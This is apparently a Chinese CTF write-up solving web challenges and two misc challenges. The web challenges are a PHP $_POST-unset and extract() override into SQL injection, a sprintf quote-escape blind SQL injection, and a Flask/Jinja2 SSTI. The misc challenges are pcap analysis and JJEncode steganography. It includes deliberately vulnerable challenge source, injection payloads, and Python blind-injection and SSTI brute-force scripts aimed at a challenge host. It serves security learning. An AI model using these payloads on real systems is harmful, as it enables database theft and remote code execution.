web
web刷的题目还是太少了,SQL注入和SSTI的一些常见姿势,利用链都不知道,Orz
千毒网盘
扫描目录可以发现网站备份,下载得源码,进行代码审计
首先发现了SQL语句,肯定要想到注入
发现有过滤,直接绕这个过滤语句肯定绕不过去(引号都过滤了orz),所以再看看别的点
发现在过滤语句下面可以进行变量覆盖,后面参数为EXTR_SKIP,所以就不能覆盖已有的变量
但是想要注入就必须在$_POST[‘code’]
上下手,而$_POST变量在程序运行时会自动创建.
这时候看到最上面有个unset
如果能通过这个unset掉$_POST
,再通过extract($_GET,EXTR_SKIP)
得到一个$_POST
,这样就绕过了过滤可以执行任意SQL语句了
经过测试,发现post参数test=123,cookie设置为_POST[test]=123
可以成功unset($_POST)
其实也不难理解,在循环里面unset的时候,遇到cookie[]
的key=_POST
的情况,然后再加$
.变成$_POST
,然后其value是传进去的value,但是在比较的时候,$_POST
就直接被看成全局变量,其值是POST的参数值
至于下面的限制,利用弱类型即可绕过
构造SQL语句
剩下的就是不加限制的注入了
比赛就做出这一道web,出题人的点还是很容易get到的.把题目拿到本地环境测试很重要,这题就是一点一点测出来的.
最后贴个题目代码:
index.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
<title>千毒网盘</title>
</head>
<body>
<div class="container">
<div class="page-header">
<h1>
千毒网盘 <small>提取你的文件</small>
</h1>
</div>
<div class="row clearfix">
<div class="col-md-4 column">
</div>
<div class="col-md-4 column">
<br>
<form role="form" action='/index.php' method="POST">
<div class="form-group">
<h3>提取码</h3><br><input class="form-control" name="code" />
</div>
<button type="submit" class="btn btn-block btn-default btn-warning">提取文件</button>
</form>
<br>
<?php
include 'code.php';
$pan = new Pan();
foreach(array('_GET', '_POST', '_COOKIE') as $key)
{
if(${$key}) {
foreach($$key as $key_2 => $value_2) {
if(isset($$key_2) and $$key_2 == $value_2)
unset($$key_2);
}
}
}
if(isset($_POST['code'])) $_POST['code'] = $pan->filter($_POST['code']);
if($_GET) extract($_GET, EXTR_SKIP);
if($_POST) extract($_POST, EXTR_SKIP);
if(isset($_POST['code']))
{
$message = $pan->getfile();
echo <<<EOF
<div class="alert alert-dismissable alert-info">
<button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
<h4>
注意!
</h4> <strong>注意!</strong> {$message}
</div>
EOF;
}
?>
</div>
<div class="col-md-4 column">
</div>
</div>
</div>
</div>
</body>
</html>
code.php
<?php
class Pan
{
public $hostname = '127.0.0.1';
public $username = 'root';
public $password = 'root';
public $database = 'ctf';
private $mysqli = null;
public function __construct()
{
$this->mysqli = mysqli_connect(
$this->hostname,
$this->username,
$this->password
);
mysqli_select_db($this->mysqli,$this->database);
}
public function filter($string)
{
$safe = preg_match('/union|select|flag|in|or|on|where|like|\'/is', $string);
if($safe === 0){
return $string;
}else{
return False;
}
}
public function getfile()
{
$code = $_POST['code'];
if($code === False) return '非法提取码!';
$file_code = array(114514,233333,666666);
if(in_array($code,$file_code))
{
$sql = "select * from file where code='$code'";
$result = mysqli_query($this->mysqli,$sql);
$result = mysqli_fetch_object($result);
return '下载直链为:'.$result->url;
}else{
return '提取码不存在!';
}
}
}
TryToLogin
这题学到的东西就比较多
读文件姿势
?file=/proc/self/cwd/index.php
- 先读 etc/apache2/sites-available/000-default.conf
可以读到网站路径,然后再读代码
至于为什么只能绝对路径,可能下面的代码限制的
if(isset($_GET['file'])){
if(preg_match('/flag/is', $_GET['file']) === 0){
echo file_get_contents('/'.$_GET['file']); // 限制了根目录
}
}
sprintf
发现存在注入,但是有下面的过滤
这时候就考虑绕过addslashes()
,比赛的时候想到的宽字节绕过,FUZZ了一下不行,就放弃了2333
完全没注意下面还有个sprintf
public function filter()
{
$_POST['username'] = addslashes($_POST['username']);
$_POST['password'] = addslashes($_POST['password']);
$safe1 = preg_match('/inn|or/is', $_POST['username']);
$safe2 = preg_match('/inn|or/is', $_POST['password']);
if($safe1 === 0 and $safe2 === 0){
return true;
}else{
die('No hacker!');
}
}
public function login()
{
$this->filter();
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from user where username='%s' and password='$password'";
$sql = sprintf($sql,$username);
//$username = %1$'=> %1$\'
$result = mysqli_query($this->mysqli,$sql);
$result = mysqli_fetch_object($result);
if($result->id){
return 1;
}else{
return 0;
}
}
可以利用sprintf来逃逸'
深入解析sprintf格式化字符串漏洞: https://blog.csdn.net/weixin_41185953/article/details/80485075
如:
所以就可以构造password=%1$'xxxx
来逃逸引号
又FUZZ出来了admin/123456 所以可以进行盲注.
bypass inn/or
但是过滤了inn|or
就没法利用``information.xxx`
bypass information_schema: https://www.anquanke.com/post/id/193512
还有师傅wp是根据schema_table_statistics注入的,来自 Firebasky
https://blog.csdn.net/qq_46091464/article/details/109706976
exp:
%1$'||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics where table_schema=database()),1,1))=1#
附上师傅脚本:
# ! usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import time
url='http://eci-2ze9e94upkcj26drdbjc.cloudeci1.ichunqiu.com/'
flag=''
for i in range(1, 50):
for j in range(34,127):
data = {
'username':'admin',
'password':"%1$\\' || ascii(substr((select
group_concat(table_name) from sys.schema_table_statistics where
table_schema=database()),{},1))={}#".format(i,j)
}
print("password"+data['password'])
rse = requests.post(url=url,data=data)
#print rse.text
if "Success!" in rse.text:
flag = flag + chr(j)
print(flag)
break
time.sleep(0.05)
print(flag)
#user fl4g
import requests
import string
url="http://eci-2ze9e94upkcj26drdbjc.cloudeci1.ichunqiu.com/"
s=string.ascii_letters+string.digits+"{-_}"
flag=""
for i in range(1,50):
print("******************")
for j in s:
#print(j)
data={
'username':'admin',
'password':"%1$\'||if(ascii(substr((select * from(fl4g)),{0},1))={1},1,0)-- +".format(i,ord(j))
}
print(data['password'])
r=requests.post(url,data=data)
if "Success" in r.text:
flag+=j
print(flag)
break
最后还是附上本题代码:
<?php
class user
{
public $hostname = '127.0.0.1';
public $username = 'root';
public $password = 'root';
public $database = 'ctf';
private $mysqli = null;
public function __construct()
{
$this->mysqli = mysqli_connect(
$this->hostname,
$this->username,
$this->password
);
mysqli_select_db($this->mysqli,$this->database);
}
public function filter()
{
$_POST['username'] = addslashes($_POST['username']);// %df => '=? %df\ '
$_POST['password'] = addslashes($_POST['password']);
$safe1 = preg_match('/inn|or/is', $_POST['username']);
$safe2 = preg_match('/inn|or/is', $_POST['password']);
if($safe1 === 0 and $safe2 === 0){
return true;
}else{
die('No hacker!');
}
}
public function login()
{
$this->filter();
$username = $_POST['username'];
$password = $_POST['password'];
$sql = "select * from user where username='%s' and password='$password'";
$sql = sprintf($sql,$username);
//%1$\'
//$sql = "select * from user where username='%s' and password='123456'";
//
//$username = %1$'=> %1$\'
$result = mysqli_query($this->mysqli,$sql);
$result = mysqli_fetch_object($result);
if($result->id){
return 1;
}else{
return 0;
}
}
}
session_start();
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="/css/bootstrap.min.css" integrity="sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u" crossorigin="anonymous">
<title>EasyLogin</title>
</head>
<body>
<div class="container">
<div class="row clearfix">
<div class="col-md-12 column">
<div class="tabbable" id="tabs-268153">
<ul class="nav nav-tabs">
<li class="active">
<a href="#panel-671062" data-toggle="tab">Home</a>
</li>
</ul>
</div>
<br>
<br>
<br><h2>Easy Login</h2>
<br>
<br>
<br>
<form role="form" action="index.php" method="POST">
<div class="form-group">
<label for="exampleInputEmail1">Username</label><input type="Username" class="form-control" name="username" />
</div>
<div class="form-group">
<label for="exampleInputPassword1">Password</label><input type="password" class="form-control" name="password" />
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
<?php
include 'class.php';
if(isset($_GET['file'])){
if(preg_match('/flag/is', $_GET['file']) === 0){
echo file_get_contents('/'.$_GET['file']);
}
}
if(isset($_POST['password'])){
$user = new user;
$login = $user->login();
if($login){
echo <<<EOF
<br>
<div class="container">
<div class="row clearfix">
<div class="col-md-12 column">
<div class="alert alert-dismissable alert-info">
<button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
<h4>
恭喜!
</h4> <strong>Success!</strong>登录成功了!
</div>
</div>
</div>
</div>
EOF;
}else{
echo <<<EOF
<br>
<div class="container">
<div class="row clearfix">
<div class="col-md-12 column">
<div class="alert alert-dismissable alert-danger">
<button type="button" class="close" data-dismiss="alert" aria-hidden="true">×</button>
<h4>
注意!
</h4> <strong>Wrong!</strong>用户名或密码错误!Need help?
</div>
</div>
</div>
</div>
<!-- /?file=xxx 请使用绝对路径-->
EOF;
}
}
?>
</div>
</div>
</div>
</body>
</html>
Hello
可以直接读源码:
from flask import Flask,request,render_template
from jinja2 import Template
import os
app = Flask(__name__)
f = open('/flag','r')
flag = f.read()
@app.route('/',methods=['GET','POST'])
def home():
name = request.args.get("name") or ""
print(name)
if name:
return render_template('index.html',name=name)
else:
return render_template('index.html')
@app.route('/help',methods=['GET'])
def help():
help = '''
'''
return f.read()
@app.errorhandler(404)
def page_not_found(e):
#No way to get flag!
os.system('rm -f /flag')
url = name = request.args.get("name") or ""
r = request.data.decode('utf8')
if 'eval' in r or 'popen' in r or '{{' in r:
t = Template(" Not found!")
return render_template(t), 404
t = Template(r + " Not found!")
return render_template(t), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8888)
这个题目就遇到了一点坑,本地测试的时候发现接收不到数据request.data,比赛的时候就又放弃了
request.data获得参数问题
Flask的request.form和request.data有什么区别?
当类型为application/x-www-form-urlencoded或者multipart/form-data是传给
request.form,request.data没有接到数据;如果是其他不能处理的类型就会给request.data
SSTI
很明显下面的 t = Template(r + " Not found!")
存在模板注入,但是又存在os.system('rm -f /flag')
,不能直接读文件.
@app.errorhandler(404)
def page_not_found(e):
#No way to get flag!
os.system('rm -f /flag')
url = name = request.args.get("name") or ""
r = request.data.decode('utf8')
if 'eval' in r or 'popen' in r or '{{' in r:
t = Template(" Not found!")
return render_template(t), 404
t = Template(r + " Not found!")
return render_template(t), 404
还是参考别的师傅的wp Firebasky的利用链,可以直接读取flag变量
#-*-codeing = utf-8 -*-
#Firebasky
import requests
url = 'url'
for i in range(200):
data="{%print [].__class__.__bases__[0].__subclasses__(["+str(i)+"].__init__.__globals__['__builtins__']['__import__']('__main__').flag %}"
# print(data)
res = requests.post(url=url,data=data)
if "flag" in res.text:
print(res.text)
print("i=",i)
break
misc
web狗第一次做misc
签到
pcap analysis
就直接跟踪65位长的TCP流,原理还是不太清楚.
pcap
过滤到dnp3协议
分析TCP流,发现下面的
然后发现全是91位的,过滤下,就可以按位读flag
…
可乐加冰
图片隐写:
binwalk看一下
这里和https://wooyun.js.org/drops/%E9%9A%90%E5%86%99%E6%9C%AF%E6%80%BB%E7%BB%93.html中的0x04很像,直接提取出文件
可以用脚本提取出2AE6.zlib
得到
834636363695438346369595364383469595954383469595364383463636363643834636363695438346369595364383469595364334453443834636953636438346369536954383463636953643834636369543344534438346369595438346369536954383463636363643834636363643344534438346369595364383463695953643834636369543834695363643344534438346363695364383463695369543834636369536438346369595954383469595364383469536954383463636363643834636953643834636369543834695369543834636959543834636369536
然后转换为字符:
S.$$$_+S.$__$+S.___+S.__$+S.$$$$+S.$$$_+S.$__$+S.__$+"-"+S.$_$$+S.$_$_+S.$$_$+S.$$_+"-"+S.$__+S.$_$_+S.$$$$+S.$$$+"-"+S.$__$+S.$__$+S.$$_+S._$$+"-"+S.$$_$+S.$_$_+S.$$_$+S.$___+S.__$+S._$_+S.$$$$+S.$_$+S.$$_+S._$_+S.$__+S.$$_$
很像JJEncode
S换成$=>$.$$$_+$.$__$+$.___+$.__$+$.$$$$+$.$$$_+$.$__$+$.__$+"-"+$.$_$$+$.$_$_+$.$$_$+$.$$_+"-"+$.$__+$.$_$_+$.$$$$+$.$$$+"-"+$.$__$+$.$__$+$.$$_+$._$$+"-"+$.$$_$+$.$_$_+$.$$_$+$.$___+$.__$+$._$_+$.$$$$+$.$_$+$.$$_+$._$_+$.$__+$.$$_$
再加上额外的固定首尾:
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+替换这里+"\"")())();
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$$_+$.$__$+$.___+$.__$+$.$$$$+$.$$$_+$.$__$+$.__$+"-"+$.$_$$+$.$_$_+$.$$_$+$.$$_+"-"+$.$__+$.$_$_+$.$$$$+$.$$$+"-"+$.$__$+$.$__$+$.$$_+$._$$+"-"+$.$$_$+$.$_$_+$.$$_$+$.$___+$.__$+$._$_+$.$$$$+$.$_$+$.$$_+$._$_+$.$__+$.$$_$+"\"")())();
解密即可
解密工具下载:https://github.com/l0nnnaruu/Decoder-JJEncode